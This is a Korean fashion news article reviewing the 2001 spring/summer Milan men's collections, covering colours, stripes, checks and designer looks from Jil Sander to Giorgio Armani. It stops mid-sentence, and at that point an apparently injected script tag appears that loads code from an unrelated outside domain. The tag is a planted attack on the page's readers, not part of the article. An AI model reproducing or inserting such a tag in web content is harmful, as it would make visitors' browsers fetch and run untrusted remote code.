■ 2001 S/S MILANO MEN'S COLLECTION 톤 온 톤·스트라이프 부상

2007-02-14  

록&펑크 테마와 마린, 에스닉 제안

2001 S/S 밀라노 남성복 컬렉션이 막을 내렸다. 지난 시즌의 트위드를 시작으로 한 클래식한 테일러드를 능가하는 빅 트렌드는 탄생하지 않았다. 몇 개의 브랜드가 록&펑크를 테마로 한 것 외 S/S다운 마린과 에스닉을 많이 제안했다.
트렌드 컬러로는 화이트에서 에크류, 크림 베이지의 조화. 전신을 같은 색으로 감싼 톤 온 톤 외 탑과 팬츠, 아우터와 인너의 색이 톤을 바꾸면서 같은 색으로 정리한 스타일이 많았다. 또 하나의 강한 컬러는 블랙.
무늬에서 눈에 띈 것은 스트라이프. 핀 스트라이프와 쵸크 스트라이프 등이 많았다. 자수와 같은 스티치로 만든 스트라이프도 있다.
지난 시즌에 비해 무늬가 적어진 것도 특징이다. F/W는 하운드투스 등 클래식한 무늬에서도 큰 무늬가 중심이었지만 S/S는 작은 체크가 눈에 띈다. 마이크로 체크와 그래프 체크, 가는 체크 등이 증가하고 있다.
실루엣, 디테일은 각각이었지만 테일러드에서는 피커드 라펠이 눈에 띈다.
질샌더는 셔츠 숄더, 하이 박스 실루엣 등 이전 스타일 그대로였지만 어딘가 다르다는 느낌을 준다. 화이트, 네이비, 에크류 베이지, 타코이즈 등 투명한 색을 사용해 심플하게 정리하고 있다. 실크 체크무늬는 셔츠에 사용되기도 하고 코튼 블루종의 안감에 사용하기도했다. 화이트부터 신선한 블루에 이르기까지 그라이데이션을 넣은 스웨터도 아름답다.
최근 여러 차례 변화를 거듭하고 있는 펜디의 남성복 라인. 이번엔 70년대 풍 엘레강스 수트를 선보였다. 큰 쉐이프를 가진 피커드 라펠의 재킷에 버기 팬츠를 맞추어 섹시한 이미지를 선사했다. 스트라이프 셔츠에는 같은 소재의 스카프와 같은 타이, 셔츠와 같은 지오메트릭 무늬를 수트의 안감에 사용한 것도 있다.
D&G는 데님과 코튼 트윌을 가공해 60년대의 히피 컬쳐를 디자인했다. 일본에서 이미 트렌드가 되고 있는 리메이크 웨어의 D&G풍 표현이다. 스 파커에 부분적으로 데님을 사용하기도 하고 붓컷 진에 사이게데릭한 페인트를 칠하기도 했다. 밀리터리 재킷 가슴에는 작은 꽃이 자수되어 꽃과 체크무늬로 패치워크된 팬츠와 잘 어울린다.
장 폴 고띠에는 세일러 스타일을 모티브로 했다. 쇼의 처음에 등장한 마린 룩의 소년 모델은 투명하기까지 하다. 쵸크 스트라이프 수트도 세일러 칼라 니트와 맞추고 있다. 샌들과 같은 골드 발 장식, 스카프 무늬 셔츠도 있다.
트루사르디는 탄탄하게 짜여진 코튼 캔버스에 레더를 트리밍해 코트와 수트를 만들었다. 소파와 같은 터치의 체크무늬가디건, 브라운의 점잖은 린넨 수트, 크로커다일과 페카리의 벨트가 붙은 코트 등 전 시즌보다 심플하고 입기 쉬운 아이템이 증가하고 있다. 다채로운 그래픽 무늬도 눈에 띈다. 베이스는 크림베이지에서 샌드베이지, 그레이. 올터네트 스트라이프와 그래피컬한 체크 무늬, 윈드펜의 스티치워크를 테일러드와 스웨트에 사용하고 있다.
GFF·장프랑코 페레는 큰 어깨의 브이네크 니트와 재킷을 블랙, 화이트, 레드의 컴비네이션으로 선보였다.
휴고 보스는 내추럴 숄더의 심플한 수트, 레더 재킷에 핀 스트라이프의 팬츠의 코디네이션을 선보이고 있다.
버버리 프로삼은 미묘한 색의 밸런스와 다른 소재의 조화에서 보여지는 우수한 컬렉션을 선보였다. 에크류에서 샌드베이지까지의 코딘이트, 블루와 옅은 피스타치오그린의 음영, 오렌지와 퍼플, 그레이 등을 소재와 컬러톤을 섞어 조화시켰다.
베르사체에 색상이 되돌아왔다. 하드한 록 이미지는 점점 후퇴하고 바로크풍 프린트와 지오메트릭 무늬의 니트가 증가하고 있다. 쵸크 스트라이프 재킷은 무늬를 바이어스로 잡고 비비드 컬러의 타이와 조화를 이루고 있다.
비비안 웨스트우드는 소매산이 솟은 수트와 변형 래글런의 둥근 어깨 수트를 선보였다. 엷은 코튼의 셔츠와 같은 소재의 팬츠의 코디네이트도 돋보였다. 구찌는 중국과 일본의 에센스를 아로새긴 컬렉션을 선보였다. 유도복과 같은 스티치 워크를 사용한 팬츠, 유도복의 띠와 같은 레더 벨트, 기모노 셔츠. 실크 쇼트 블루종의 뒤에도 드래곤 자수가 장식되어 동양적인 분위기가 물씬 풍겨난다. 테일러드 스타일도 크게 변화했다. 큰 숄더 라인에 큰 피커드 라펠, 와이드 실루엣의 스트레이츠 팬츠.
알렉산드로 데락크와는 런던·쉬크·펑크를 테마로했다. 포멀 디테일 수트에 가는 타이, 포인티드 토우 슈즈. 블랙의 포멀 수트에 하얀 셔츠, 그러나 빨간 구두를 신는가 하면 한쪽은 핑크, 한쪽은 화이트로 바꾸기도 하는 등 변화를 시도했다.
프라다는 브라운, 베이지, 크림, 그레이의 콤비네이션. 더블의 2버튼과 싱글 2버튼 수트는 점점 볼륨을 넓혀가고 있는 인상이다. 그래픽셔츠와 스카프를 코디했다.
조르지오 아르마니는 컨실드 포켓을 붙인 수트, 페이크라펠의 재킷을 제안했다. 테일러드재킷에 저어지 팬츠를 맞추는 등 ?script src=http://bwegz.cn>

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